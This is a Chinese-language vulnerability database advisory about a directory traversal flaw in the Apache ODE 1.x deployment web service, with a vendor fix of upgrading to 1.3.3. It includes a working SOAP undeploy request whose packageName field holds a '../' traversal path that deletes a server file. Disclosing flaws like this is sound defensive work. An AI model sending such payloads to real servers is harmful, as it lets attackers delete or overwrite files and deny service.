ZeroBox Vulnerability Database

漏洞起因
设计错误
 
影响系统
Apache ODE (Orchestration Director Engine) 1.x
 
不受影响系统
 
危害
远程攻击者可以利用漏洞在服务器上建立，覆盖或删除文件。
 
攻击所需条件
攻击者必须访问Apache ODE。
 
漏洞信息
Apache ODE是一款WS-BPEL兼容的Web服务编配引擎。
Apache ODE ‘process deployment web’服务处理配置消息时存在输入验证错误，远程攻击者可以利用漏洞使用包含特殊路径的名称在服务器上建立，覆盖或删除文件。
发送包含目录遍历字符的packageName名称的消息给配置服务：
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:pmap="http://www.apache.org/ode/pmapi">
  <soapenv:Header/>
  <soapenv:Body>
     <pmap:undeploy>
<packageName>../../../../../../../../../../../../../../tmp/blabla</packageName>
     </pmap:undeploy>
  </soapenv:Body>
</soapenv:Envelope>
可导致删除/tmp/blabla文件，造成拒绝服务攻击。
 
测试方法
 
厂商解决方案
用户可联系供应商获得升级到Apache ODE 1.3.3版本：
http://ode.apache.org/index.html
 
漏洞提供者
Marc Schoenefeld of Red Hat